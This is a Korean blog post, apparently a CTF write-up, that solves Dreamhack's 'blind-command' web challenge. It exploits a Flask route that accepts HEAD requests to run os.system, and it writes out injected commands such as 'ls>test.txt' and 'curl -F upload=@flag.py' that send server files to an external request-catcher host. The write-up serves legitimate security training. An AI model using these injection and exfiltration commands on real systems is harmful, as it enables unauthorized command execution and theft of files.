외로운 Nova의 작업실
dreamhack 웹해킹 - 11(blind-command) 본문
이번시간에는 웹해킹 마지막 blind-command 문제를 풀어보겠습니다.
- 문제 인식
flag file을 읽으라고합니다. 확장자도 파일 이름도 주어지지않습니다. 먼저 문제 파일을 보겠습니다.
#!/usr/bin/env python3
from flask import Flask, request
import os
app = Flask(__name__)
@app.route('/' , methods=['GET'])
def index():
cmd = request.args.get('cmd', '')
if not cmd:
return "?cmd=[cmd]"
if request.method == 'GET':
''
else:
os.system(cmd)
return cmd
app.run(host='0.0.0.0', port=8000)
cmd값을 매개변수로 주게된후 GET방식이 아닌 다른 메서드로 주게되면 os.system()함수가 실행됩니다. 즉, GET 방식인데 'GET'이 아닌 것을 찾는게 중요합니다. 이부분은 검색을 통해 HEAD 메서드는 GET 방식과 일치하지만 헤더부분만 가져오는 것으로 methods=['GET']을 하면 HEAD메서드도 포함되게 됩니다. 실제로 HAED 메서드가 먹히는지 보기위해 curl 명령어를 cmd에 보내 저의 dreamhack tool에 핑을 보내보도록 하겠습니다. 이때 메서드를 바꾸는건 버프 스위트로 해보도록 하겠습니다.
- 문제 풀이
버프 스위트를 키고 cmd에 curl https://zpinaat.request.dreamhack.games 를 입력한후 HEAD 메서드로 변경해주겠습니다.
핑이 온것을 확인할 수 있습니다. 이를 이용해서 ls>test.txt 명령어로 파일구조 파일을 만들고 curl -F upload=@test.txt & https://zpinaat.request.dreamhack.games를 사용해서 tool서버로 test.txt 파일내용을 보내보게해보겠습니다.
패킷을 보내게되면
아무것도 안뜹니다. 이제 test.txt 파일을 보내보도록 하겠습니다.
그럼 툴즈에 오게됩니다.
아래보게되면 app.py, flag.py, requirement.txt, test.txt 파일이 있다는 것을 알 수 있습니다. 아마 flag.py 파일에 flag가 있겠죠? 이제 flag.py파일을 보내게 해봅시다.
curl -F upload=@flag.py https://zpinaat.request.dreamhack.games
아래 보게되면 플래그가 존재하게됩니다.
'Web Penetesting > Web Vulnerability' 카테고리의 다른 글
dreamhack 웹해킹 - 13(sql injection bypass WAF Advanced 풀이) (0) | 2023.01.21 |
---|---|
dreamhack 웹해킹 - 12(error-based sqli) (0) | 2023.01.10 |
dreamhack 웹해킹 - 10(Carve Party) (0) | 2022.12.28 |
dreamhack 웹해킹 - 9(SSRF 함께 실습) (0) | 2022.12.27 |
dreamhack 웹해킹 - 8(file-download-1) (0) | 2022.12.21 |